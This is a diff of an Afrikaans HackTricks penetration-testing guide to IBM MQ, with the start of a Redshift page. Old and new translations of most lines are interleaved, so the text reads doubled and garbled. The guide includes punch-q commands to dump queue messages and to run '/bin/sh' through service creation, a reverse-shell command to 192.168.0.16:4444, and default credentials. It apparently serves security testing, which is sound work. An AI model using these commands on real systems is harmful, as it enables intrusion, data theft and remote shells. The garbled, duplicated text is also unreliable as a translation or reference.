* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks-opslagplek](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-opslagplek](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,48 @@
|
|||
# 1414 - Pentesting IBM MQ
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese inligting
|
||||
|
||||
IBM MQ is 'n IBM-tegnologie om boodskaprye te bestuur. Soos ander **boodskapmakelaar**-tegnologieë, is dit toegewy aan die ontvang, stoor, verwerk en klassifiseer van inligting tussen produsente en verbruikers.
|
||||
IBM MQ is 'n IBM tegnologie om boodskap rye te bestuur. Soos ander **boodskap broker** tegnologieë, is dit toegewy aan die ontvang, stoor, verwerk en klassifiseer van inligting tussen produsente en verbruikers.
|
||||
|
||||
Standaard **stel dit IBM MQ TCP-poort 1414 bloot**.
|
||||
Soms kan die HTTP REST API op poort **9443** blootgestel word.
|
||||
Metriek (Prometheus) kan ook vanaf TCP-poort **9157** benader word.
|
||||
Standaard, **dit stel IBM MQ TCP poort 1414 bloot**.
|
||||
Soms kan HTTP REST API blootgestel word op poort **9443**.
|
||||
Metings (Prometheus) kan ook vanaf TCP poort **9157** verkry word.
|
||||
|
||||
Die IBM MQ TCP-poort 1414 kan gebruik word om boodskappe, rykies, kanale, ... te manipuleer, maar **ook om die instansie te beheer**.
|
||||
Die IBM MQ TCP poort 1414 kan gebruik word om boodskappe, rye, kanale, ... te manipuleer, maar **ook om die instansie te beheer**.
|
||||
|
||||
IBM bied 'n groot tegniese dokumentasie aan wat beskikbaar is op [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||||
IBM bied 'n groot tegniese dokumentasie beskikbaar op [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq).
|
||||
|
||||
## Gereedskap
|
||||
|
||||
'n Voorgestelde gereedskap vir maklike uitbuiting is **[punch-q](https://github.com/sensepost/punch-q)**, met Docker-gebruik. Die gereedskap maak aktief gebruik van die Python-biblioteek `pymqi`.
|
||||
'n Voorstel gereedskap vir maklike eksploitatie is **[punch-q](https://github.com/sensepost/punch-q)**, met Docker gebruik. Die gereedskap gebruik aktief die Python biblioteek `pymqi`.
|
||||
|
||||
Vir 'n meer handmatige benadering, gebruik die Python-biblioteek **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ-afhanklikhede](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) is nodig.
|
||||
Vir 'n meer handmatige benadering, gebruik die Python biblioteek **[pymqi](https://github.com/dsuch/pymqi)**. [IBM MQ afhanklikhede](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc) is nodig.
|
||||
|
||||
### Installeer pymqi
|
||||
|
||||
**IBM MQ-afhanklikhede** moet geïnstalleer en gelaai word:
|
||||
**IBM MQ afhanklikhede** moet geïnstalleer en gelaai word:
|
||||
|
||||
1. Skep 'n rekening (IBMid) op [https://login.ibm.com/](https://login.ibm.com/).
|
||||
2. Laai IBM MQ-biblioteke af vanaf [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Vir Linux x86_64 is dit **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||||
3. Ontplooi (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||||
2. Laai IBM MQ biblioteke af van [https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc). Vir Linux x86_64 is dit **9.0.0.4-IBM-MQC-LinuxX64.tar.gz**.
|
||||
3. Decomprimeer (`tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz`).
|
||||
4. Voer `sudo ./mqlicense.sh` uit om lisensievoorwaardes te aanvaar.
|
||||
|
||||
>As jy onder Kali Linux is, wysig die lêer `mqlicense.sh`: verwyder/kommentaar die volgende lyne (tussen lyne 105-110):
|
||||
>As jy onder Kali Linux is, wysig die lêer `mqlicense.sh`: verwyder/comments die volgende lyne (tussen lyne 105-110):
|
||||
>
|
||||
>```bash
|
||||
>if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
|
||||
|
@ -56,11 +59,11 @@ sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.
|
|||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
|
||||
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
|
||||
```
|
||||
6. Voeg dan tijdelik die `.so` lêers by LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **voordat** jy ander gereedskap gebruik wat van hierdie afhanklikhede gebruik maak.
|
||||
6. Voeg dan tydelik die `.so` lêers by LD: `export LD_LIBRARY_PATH=/opt/mqm/lib64`, **voor** jy ander gereedskap gebruik wat hierdie afhanklikhede het.
|
||||
|
||||
Dan kan jy die projek [**pymqi**](https://github.com/dsuch/pymqi) kloon: dit bevat interessante kodefragmente, konstantes, ... Of jy kan die biblioteek direk installeer met: `pip install pymqi`.
|
||||
Dan kan jy die projek [**pymqi**](https://github.com/dsuch/pymqi) kloon: dit bevat interessante kode-snippets, konstantes, ... Of jy kan die biblioteek direk installeer met: `pip install pymqi`.
|
||||
|
||||
### Gebruik van punch-q
|
||||
### Gebruik punch-q
|
||||
|
||||
#### Met Docker
|
||||
|
||||
|
@ -68,35 +71,35 @@ Gebruik eenvoudig: `sudo docker run --rm -ti leonjza/punch-q`.
|
|||
|
||||
#### Sonder Docker
|
||||
|
||||
Kloon die projek [**punch-q**](https://github.com/sensepost/punch-q) en volg dan die leesmy vir installasie (`pip install -r requirements.txt && python3 setup.py install`).
|
||||
Kloon die projek [**punch-q**](https://github.com/sensepost/punch-q) en volg dan die readme vir installasie (`pip install -r requirements.txt && python3 setup.py install`).
|
||||
|
||||
Daarna kan dit gebruik word met die `punch-q` opdrag.
|
||||
|
||||
## Enumerasie
|
||||
|
||||
Jy kan probeer om die **queue bestuurder naam, die gebruikers, die kanale en die rye** te enumereer met **punch-q** of **pymqi**.
|
||||
Jy kan probeer om die **queue manager naam, die gebruikers, die kanale en die queues** te enumereer met **punch-q** of **pymqi**.
|
||||
|
||||
### Queue Bestuurder
|
||||
### Queue Manager
|
||||
|
||||
Soms is daar geen beskerming teen die verkryging van die Queue Bestuurder naam nie:
|
||||
Soms is daar geen beskerming teen die verkryging van die Queue Manager naam nie:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
|
||||
Queue Manager name: MYQUEUEMGR
|
||||
```
|
||||
### Kanale
|
||||
|
||||
**punch-q** maak gebruik van 'n interne (veranderbare) woordelys om bestaande kanale te vind. Gebruik voorbeeld:
|
||||
**punch-q** gebruik 'n interne (veranderbare) woordlys om bestaande kanale te vind. Gebruik voorbeeld:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
|
||||
"DEV.ADMIN.SVRCONN" exists and was authorised.
|
||||
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
|
||||
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.
|
||||
```
|
||||
Dit gebeur dat sommige IBM MQ-instanties **ongeagte** MQ-versoeke aanvaar, so `--username / --password` is nie nodig nie. Natuurlik kan toegangsregte ook verskil.
|
||||
Dit gebeur dat sommige IBM MQ instansies **onaangetekende** MQ versoeke aanvaar, so `--username / --password` is nie nodig nie. Natuurlik kan toegangregte ook verskil.
|
||||
|
||||
Sodra ons een kanaalnaam kry (hier: `DEV.ADMIN.SVRCONN`), kan ons al die ander kanale opnoem.
|
||||
|
||||
Die opnoeming kan basies gedoen word met hierdie kodefragment `code/examples/dis_channels.py` van **pymqi**:
|
||||
Die opnoeming kan basies gedoen word met hierdie kode-snippet `code/examples/dis_channels.py` van **pymqi**:
|
||||
```python
|
||||
import logging
|
||||
import pymqi
|
||||
|
@ -133,8 +136,8 @@ logging.info('Found channel `%s`' % channel_name)
|
|||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
... Maar **punch-q** bevat ook daardie deel (met meer inligting!).
|
||||
Dit kan geloods word met:
|
||||
... Maar **punch-q** inkorporeer ook daardie deel (met meer inligting!).
|
||||
Dit kan begin word met:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
|
||||
Showing channels with prefix: "*"...
|
||||
|
@ -155,9 +158,9 @@ Showing channels with prefix: "*"...
|
|||
| SYSTEM.DEF.SVRCONN | Server-connection | | | | | |
|
||||
| SYSTEM.DEF.CLNTCONN | Client-connection | | | | | |
|
||||
```
|
||||
### Rye
|
||||
### Queues
|
||||
|
||||
Daar is 'n kodefragment met **pymqi** (`dis_queues.py`), maar **punch-q** maak dit moontlik om meer inligting oor die rye te bekom:
|
||||
Daar is 'n kode-snippet met **pymqi** (`dis_queues.py`) maar **punch-q** laat toe om meer stukke inligting oor die queues te verkry:
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
|
||||
Showing queues with prefix: "*"...
|
||||
|
@ -179,11 +182,11 @@ Showing queues with prefix: "*"...
|
|||
| 9 | | | | | | | |
|
||||
# Truncated
|
||||
```
|
||||
## Uitbuiting
|
||||
## Exploit
|
||||
|
||||
### Stort boodskappe
|
||||
### Dump boodskappe
|
||||
|
||||
Jy kan 'n teiken(s)/kanaal(s) aanval om boodskappe daaruit te snuffel / stort (nie-destruktiewe operasie). *Voorbeelde:*
|
||||
Jy kan rye(s)/kanaal(e) teiken om boodskappe uit hulle te snuffel / te dump (nie-destructiewe operasie). *Voorbeelde:*
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
|
||||
```
|
||||
|
@ -191,36 +194,36 @@ Jy kan 'n teiken(s)/kanaal(s) aanval om boodskappe daaruit te snuffel / stort (n
|
|||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump
|
||||
```
|
||||
**Moenie huiwer om op alle geïdentifiseerde toue te itereer nie.**
|
||||
**Moet nie huiwer om op alle geïdentifiseerde rye te iterate nie.**
|
||||
|
||||
### Kode-uitvoering
|
||||
|
||||
> 'n Paar besonderhede voordat ons voortgaan: IBM MQ kan op verskeie maniere beheer word: MQSC, PCF, Beheeropdrag. 'n Paar algemene lysies kan gevind word in die [IBM MQ-dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmable Command Formats***) is waarop ons fokus om op afstand met die instansie te kommunikeer. **punch-q** en verder **pymqi** is gebaseer op PCF-interaksies.
|
||||
> Sommige besonderhede voordat ons voortgaan: IBM MQ kan op verskeie maniere beheer word: MQSC, PCF, Kontroleopdrag. Sommige algemene lyste kan gevind word in [IBM MQ dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.2?topic=reference-command-sets-comparison).
|
||||
> [**PCF**](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=commands-introduction-mq-programmable-command-formats) (***Programmeerbare Opdrag Formate***) is waaroor ons fokus om op afstand met die instansie te kommunikeer. **punch-q** en verder **pymqi** is gebaseer op PCF-interaksies.
|
||||
>
|
||||
> Jy kan 'n lys van PCF-opdragte vind:
|
||||
> * [Vanaf die PCF-dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), en
|
||||
> * [vanaf konstantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||||
> * [Van PCF dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=reference-definitions-programmable-command-formats), en
|
||||
> * [van konstantes](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqcmd-command-codes).
|
||||
>
|
||||
> Een interessante opdrag is `MQCMD_CREATE_SERVICE` en die dokumentasie is beskikbaar [hier](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Dit neem 'n `StartCommand` as argument wat verwys na 'n plaaslike program op die instansie (voorbeeld: `/bin/sh`).
|
||||
> Een interessante opdrag is `MQCMD_CREATE_SERVICE` en sy dokumentasie is beskikbaar [hier](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-change-copy-create-service-multiplatforms). Dit neem as argument 'n `StartCommand` wat na 'n plaaslike program op die instansie verwys (voorbeeld: `/bin/sh`).
|
||||
>
|
||||
> Daar is ook 'n waarskuwing oor die opdrag in die dokumentasie: *"Aandag: Hierdie opdrag stel 'n gebruiker in staat om 'n willekeurige opdrag met mqm-bevoegdheid uit te voer. As regte verleen word om hierdie opdrag te gebruik, kan 'n kwaadwillige of sorgelose gebruiker 'n diens definieer wat jou stelsels of data beskadig, byvoorbeeld deur noodsaaklike lêers te verwyder."*
|
||||
> Daar is ook 'n waarskuwing van die opdrag in die dokumentasie: *"Let op: Hierdie opdrag laat 'n gebruiker toe om 'n arbitrêre opdrag met mqm gesag uit te voer. As regte toegestaan word om hierdie opdrag te gebruik, kan 'n kwaadwillige of onverskillige gebruiker 'n diens definieer wat jou stelsels of data benadeel, byvoorbeeld deur noodsaaklike lêers te verwyder."*
|
||||
>
|
||||
> *Let wel: altyd volgens die IBM MQ-dokumentasie (Administrasie Verwysing), is daar ook 'n HTTP-eindpunt by `/admin/action/qmgr/{qmgrName}/mqsc` om die ekwivalente MQSC-opdrag vir diensskepping (`DEFINE SERVICE`) uit te voer. Hierdie aspek word nog nie hier gedek nie.*
|
||||
> *Nota: altyd volgens IBM MQ dokumentasie (Administrasie Verwysing), is daar ook 'n HTTP-eindpunt by `/admin/action/qmgr/{qmgrName}/mqsc` om die ekwivalente MQSC-opdrag vir dienscreatie (`DEFINE SERVICE`) uit te voer. Hierdie aspek is nog nie hier behandel nie.*
|
||||
|
||||
Die skepping / verwydering van 'n diens met PCF vir uitvoering van 'n program op afstand kan gedoen word deur **punch-q**:
|
||||
Die dienscreatie / -verwydering met PCF vir afstandprogramuitvoering kan gedoen word deur **punch-q**:
|
||||
|
||||
**Voorbeeld 1**
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"
|
||||
```
|
||||
> In die logboeke van IBM MQ kan jy lees dat die opdrag suksesvol uitgevoer is:
|
||||
> In die logs van IBM MQ kan jy lees dat die opdrag suksesvol uitgevoer is:
|
||||
>
|
||||
> ```bash
|
||||
> 2023-10-10T19:13:01.713Z AMQ5030I: Die opdrag '808544aa7fc94c48' het begin. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
> 2023-10-10T19:13:01.713Z AMQ5030I: Die Opdrag '808544aa7fc94c48' het begin. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]
|
||||
> ```
|
||||
|
||||
Jy kan ook bestaande programme op die rekenaar opnoem (hier `/bin/doesnotexist` ... bestaan nie):
|
||||
Jy kan ook bestaande programme op die masjien opnoem (hier `/bin/doesnotexist` ... bestaan nie):
|
||||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
|
||||
s "whatever"
|
||||
|
@ -235,16 +238,16 @@ Giving the service 0 second(s) to live...
|
|||
Cleaning up service...
|
||||
Done
|
||||
```
|
||||
**Wees bewus dat die program-lancering asinkronies is. Jy het dus 'n tweede item nodig om die uitbuiting te benut** ***(luisteraar vir omgekeerde dop, lêer-skepping op verskillende diens, data-eksfiltrering deur middel van netwerk ...)***
|
||||
**Wees bewus dat die programontplooi asynchrone is. So jy het 'n tweede item nodig om die uitbuiting te benut** ***(luisteraar vir omgekeerde dop, lêer skep op 'n ander diens, data eksfiltrasie deur netwerk ...)***
|
||||
|
||||
**Voorbeeld 2**
|
||||
|
||||
Vir 'n maklike omgekeerde dop, bied **punch-q** ook twee omgekeerde dop-ladinge aan:
|
||||
Vir 'n maklike omgekeerde dop, **punch-q** bied ook twee omgekeerde dop payloads aan:
|
||||
|
||||
* Een met bash
|
||||
* Een met perl
|
||||
|
||||
*Natuurlik kan jy 'n aangepaste een bou met die `uitvoer`-opdrag.*
|
||||
*Natuurlik kan jy 'n pasgemaakte een bou met die `execute` opdrag.*
|
||||
|
||||
Vir bash:
|
||||
```bash
|
||||
|
@ -254,11 +257,11 @@ Vir perl:
|
|||
```bash
|
||||
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444
|
||||
```
|
||||
### Aangepaste PCF
|
||||
### Custom PCF
|
||||
|
||||
Jy kan in die IBM MQ-dokumentasie duik en direk die **pymqi** Python-biblioteek gebruik om 'n spesifieke PCF-opdrag te toets wat nie geïmplementeer is in **punch-q** nie.
|
||||
Jy kan in die IBM MQ dokumentasie delf en direk die **pymqi** python biblioteek gebruik om spesifieke PCF opdragte te toets wat nie in **punch-q** geïmplementeer is nie.
|
||||
|
||||
**Voorbeeld:**
|
||||
**Example:**
|
||||
```python
|
||||
import pymqi
|
||||
|
||||
|
@ -286,9 +289,9 @@ else:
|
|||
qmgr.disconnect()
|
||||
|
||||
```
|
||||
As jy nie die konstante name kan vind nie, kan jy verwys na die [IBM MQ-dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors).
|
||||
As jy nie die konstante name kan vind nie, kan jy na die [IBM MQ dokumentasie](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=constants-mqca-character-attribute-selectors) verwys.
|
||||
|
||||
> *Voorbeeld vir [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Desimaal = 73). Dit vereis die parameter `MQCA_CLUSTER_NAME` (Desimaal = 2029) wat `*` kan wees (Doc: ):*
|
||||
> *Voorbeeld vir [`MQCMD_REFRESH_CLUSTER`](https://www.ibm.com/docs/en/ibm-mq/9.3?topic=formats-mqcmd-refresh-cluster-refresh-cluster) (Desimaal = 73). Dit benodig die parameter `MQCA_CLUSTER_NAME` (Desimaal = 2029) wat `*` kan wees (Dok: ):*
|
||||
>
|
||||
> ```python
|
||||
> import pymqi
|
||||
|
@ -317,27 +320,26 @@ As jy nie die konstante name kan vind nie, kan jy verwys na die [IBM MQ-dokument
|
|||
|
||||
## Toetsomgewing
|
||||
|
||||
As jy die IBM MQ-gedrag en aanvalle wil toets, kan jy 'n plaaslike omgewing opstel gebaseer op Docker:
|
||||
As jy die IBM MQ gedrag en exploits wil toets, kan jy 'n plaaslike omgewing opstel gebaseer op Docker:
|
||||
|
||||
1. Skep 'n rekening op ibm.com en cloud.ibm.com.
|
||||
2. Skep 'n gekonteneerde IBM MQ met:
|
||||
1. Om 'n rekening op ibm.com en cloud.ibm.com te hê.
|
||||
2. Skep 'n gekonteiniseerde IBM MQ met:
|
||||
```bash
|
||||
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2
|
||||
```
|
||||
Standaard is die verifikasie geaktiveer, die gebruikersnaam is `admin` en die wagwoord is `passw0rd` (Omgewingsveranderlike `MQ_ADMIN_PASSWORD`).
|
||||
Hier is die wagkamer se naam ingestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`).
|
||||
Deur standaard is die outentisering geaktiveer, die gebruikersnaam is `admin` en die wagwoord is `passw0rd` (Omgewing veranderlike `MQ_ADMIN_PASSWORD`). Hier is die wagterbestuurder se naam gestel op `MYQUEUEMGR` (veranderlike `MQ_QMGR_NAME`).
|
||||
|
||||
Jy moet IBM MQ aan die gang hê met sy poorte blootgestel:
|
||||
Jy moet die IBM MQ aan en loop hê met sy poorte blootgestel:
|
||||
```bash
|
||||
❯ sudo docker ps
|
||||
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
|
||||
58ead165e2fd icr.io/ibm-messaging/mq:9.3.2.0-r2 "runmqdevserver" 3 seconds ago Up 3 seconds 0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp testing-ibmmq
|
||||
```
|
||||
> Die ou weergawe van IBM MQ docker-beelde is beskikbaar by: https://hub.docker.com/r/ibmcom/mq/.
|
||||
> Die ou weergawe van IBM MQ docker beelde is by: https://hub.docker.com/r/ibmcom/mq/.
|
||||
|
||||
## Verwysings
|
||||
## References
|
||||
|
||||
* [mgeeky se gist - "Praktiese IBM MQ Penetration Testing notas"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
* [mgeeky's gist - "Praktiese IBM MQ Penetrasie Toetsing notas"](https://gist.github.com/mgeeky/2efcd86c62f0fb3f463638911a3e89ec)
|
||||
* [MQ Jumping - DEFCON 15](https://defcon.org/images/defcon-15/dc15-presentations/dc-15-ruks.pdf)
|
||||
* [IBM MQ dokumentasie](https://www.ibm.com/docs/en/ibm-mq)
|
||||
|
|
|
@ -1,33 +1,39 @@
|
|||
# 5439 - Pentesting Redshift
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy adverteer in HackTricks**? Of wil jy toegang hê tot die **nuutste weergawe van die PEASS of laai HackTricks in PDF af**? Kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die [hacktricks-repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud-repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
